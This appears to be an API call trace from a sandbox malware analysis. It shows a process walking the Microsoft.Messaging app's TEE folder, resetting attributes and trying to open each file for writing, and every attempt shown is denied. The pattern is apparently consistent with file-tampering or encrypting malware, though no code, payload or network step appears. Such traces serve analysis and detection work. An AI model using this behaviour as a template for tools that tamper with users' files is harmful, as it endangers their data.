	[0090.741] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PhoneNumber.SMS.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-us.phonenumber.sms.ot"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.741] GetLastError () returned 0x5
	[0090.741] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PhoneNumber.SMS.ot", dwFileAttributes=0x20) returned 0
	[0090.741] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32c50) returned 1
	[0090.741] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297bb7d0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29807c87, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29807c87, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.PostalAddress.model", cAlternateFileName="")) returned 1
	[0090.741] wcscmp (_String1="en-US.PostalAddress.model", _String2=".") returned 1
	[0090.741] wcscmp (_String1="en-US.PostalAddress.model", _String2="..") returned 1
	[0090.741] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e32c50
	[0090.741] wcscpy (in: _Dest=0x4e32c50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.741] wcscat (in: _Dest=0x4e32c50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.741] wcscat (in: _Dest=0x4e32c50, _Source="en-US.PostalAddress.model" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PostalAddress.model") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PostalAddress.model"
	[0090.741] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PostalAddress.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-us.postaladdress.model")) returned 0x20
	[0090.741] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PostalAddress.model", dwFileAttributes=0x20) returned 0
	[0090.742] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PostalAddress.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-us.postaladdress.model"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.742] GetLastError () returned 0x5
	[0090.742] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PostalAddress.model", dwFileAttributes=0x20) returned 0
	[0090.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32c50) returned 1
	[0090.742] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29807c87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29807c87, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29807c87, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.PostalAddress.ot", cAlternateFileName="")) returned 1
	[0090.742] wcscmp (_String1="en-US.PostalAddress.ot", _String2=".") returned 1
	[0090.742] wcscmp (_String1="en-US.PostalAddress.ot", _String2="..") returned 1
	[0090.742] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477eb90
	[0090.742] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.742] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.742] wcscat (in: _Dest=0x477eb90, _Source="en-US.PostalAddress.ot" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PostalAddress.ot") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PostalAddress.ot"
	[0090.742] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PostalAddress.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-us.postaladdress.ot")) returned 0x20
	[0090.742] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PostalAddress.ot", dwFileAttributes=0x20) returned 0
	[0090.742] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PostalAddress.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-us.postaladdress.ot"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.742] GetLastError () returned 0x5
	[0090.742] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PostalAddress.ot", dwFileAttributes=0x20) returned 0
	[0090.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0090.743] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29807c87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29807c87, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29807c87, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES.Messaging.config", cAlternateFileName="")) returned 1
	[0090.743] wcscmp (_String1="es-ES.Messaging.config", _String2=".") returned 1
	[0090.743] wcscmp (_String1="es-ES.Messaging.config", _String2="..") returned 1
	[0090.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477eb90
	[0090.743] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.743] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.743] wcscat (in: _Dest=0x477eb90, _Source="es-ES.Messaging.config" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.Messaging.config") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.Messaging.config"
	[0090.743] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.Messaging.config" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\es-es.messaging.config")) returned 0x20
	[0090.743] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.Messaging.config", dwFileAttributes=0x20) returned 0
	[0090.743] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.Messaging.config" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\es-es.messaging.config"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.743] GetLastError () returned 0x5
	[0090.743] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.Messaging.config", dwFileAttributes=0x20) returned 0
	[0090.743] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0090.743] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2985747b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2985747b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2985747b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES.PhoneNumber.SMS.model", cAlternateFileName="")) returned 1
	[0090.743] wcscmp (_String1="es-ES.PhoneNumber.SMS.model", _String2=".") returned 1
	[0090.743] wcscmp (_String1="es-ES.PhoneNumber.SMS.model", _String2="..") returned 1
	[0090.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491e168
	[0090.743] wcscpy (in: _Dest=0x491e168, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.743] wcscat (in: _Dest=0x491e168, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.743] wcscat (in: _Dest=0x491e168, _Source="es-ES.PhoneNumber.SMS.model" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.PhoneNumber.SMS.model") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.PhoneNumber.SMS.model"
	[0090.743] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.PhoneNumber.SMS.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\es-es.phonenumber.sms.model")) returned 0x20
	[0090.746] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.PhoneNumber.SMS.model", dwFileAttributes=0x20) returned 0
	[0090.746] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.PhoneNumber.SMS.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\es-es.phonenumber.sms.model"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.746] GetLastError () returned 0x5
	[0090.746] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.PhoneNumber.SMS.model", dwFileAttributes=0x20) returned 0
	[0090.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e168) returned 1
	[0090.747] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2985747b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2985747b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2985747b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES.PhoneNumber.SMS.ot", cAlternateFileName="")) returned 1
	[0090.747] wcscmp (_String1="es-ES.PhoneNumber.SMS.ot", _String2=".") returned 1
	[0090.747] wcscmp (_String1="es-ES.PhoneNumber.SMS.ot", _String2="..") returned 1
	[0090.747] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32c50
	[0090.747] wcscpy (in: _Dest=0x4e32c50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.747] wcscat (in: _Dest=0x4e32c50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.747] wcscat (in: _Dest=0x4e32c50, _Source="es-ES.PhoneNumber.SMS.ot" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.PhoneNumber.SMS.ot") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.PhoneNumber.SMS.ot"
	[0090.747] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.PhoneNumber.SMS.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\es-es.phonenumber.sms.ot")) returned 0x20
	[0090.747] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.PhoneNumber.SMS.ot", dwFileAttributes=0x20) returned 0
	[0090.747] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.PhoneNumber.SMS.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\es-es.phonenumber.sms.ot"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.747] GetLastError () returned 0x5
	[0090.747] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\es-ES.PhoneNumber.SMS.ot", dwFileAttributes=0x20) returned 0
	[0090.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32c50) returned 1
	[0090.747] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2985747b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2985747b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2985747b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR.Messaging.config", cAlternateFileName="")) returned 1
	[0090.747] wcscmp (_String1="fr-FR.Messaging.config", _String2=".") returned 1
	[0090.747] wcscmp (_String1="fr-FR.Messaging.config", _String2="..") returned 1
	[0090.747] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477eb90
	[0090.747] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.747] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.747] wcscat (in: _Dest=0x477eb90, _Source="fr-FR.Messaging.config" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.Messaging.config") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.Messaging.config"
	[0090.748] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.Messaging.config" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\fr-fr.messaging.config")) returned 0x20
	[0090.750] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.Messaging.config", dwFileAttributes=0x20) returned 0
	[0090.750] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.Messaging.config" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\fr-fr.messaging.config"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.750] GetLastError () returned 0x5
	[0090.750] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.Messaging.config", dwFileAttributes=0x20) returned 0
	[0090.750] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0090.750] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2987d6d4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2987d6d4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2987d6d4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR.PhoneNumber.SMS.model", cAlternateFileName="")) returned 1
	[0090.750] wcscmp (_String1="fr-FR.PhoneNumber.SMS.model", _String2=".") returned 1
	[0090.750] wcscmp (_String1="fr-FR.PhoneNumber.SMS.model", _String2="..") returned 1
	[0090.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491e168
	[0090.750] wcscpy (in: _Dest=0x491e168, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.750] wcscat (in: _Dest=0x491e168, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.750] wcscat (in: _Dest=0x491e168, _Source="fr-FR.PhoneNumber.SMS.model" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.PhoneNumber.SMS.model") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.PhoneNumber.SMS.model"
	[0090.750] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.PhoneNumber.SMS.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\fr-fr.phonenumber.sms.model")) returned 0x20
	[0090.751] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.PhoneNumber.SMS.model", dwFileAttributes=0x20) returned 0
	[0090.751] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.PhoneNumber.SMS.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\fr-fr.phonenumber.sms.model"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.752] GetLastError () returned 0x5
	[0090.752] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.PhoneNumber.SMS.model", dwFileAttributes=0x20) returned 0
	[0090.752] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e168) returned 1
	[0090.752] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2987d6d4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2987d6d4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2987d6d4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR.PhoneNumber.SMS.ot", cAlternateFileName="")) returned 1
	[0090.752] wcscmp (_String1="fr-FR.PhoneNumber.SMS.ot", _String2=".") returned 1
	[0090.752] wcscmp (_String1="fr-FR.PhoneNumber.SMS.ot", _String2="..") returned 1
	[0090.752] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32a80
	[0090.752] wcscpy (in: _Dest=0x4e32a80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.752] wcscat (in: _Dest=0x4e32a80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.752] wcscat (in: _Dest=0x4e32a80, _Source="fr-FR.PhoneNumber.SMS.ot" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.PhoneNumber.SMS.ot") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.PhoneNumber.SMS.ot"
	[0090.752] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.PhoneNumber.SMS.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\fr-fr.phonenumber.sms.ot")) returned 0x20
	[0090.752] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.PhoneNumber.SMS.ot", dwFileAttributes=0x20) returned 0
	[0090.752] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.PhoneNumber.SMS.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\fr-fr.phonenumber.sms.ot"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.752] GetLastError () returned 0x5
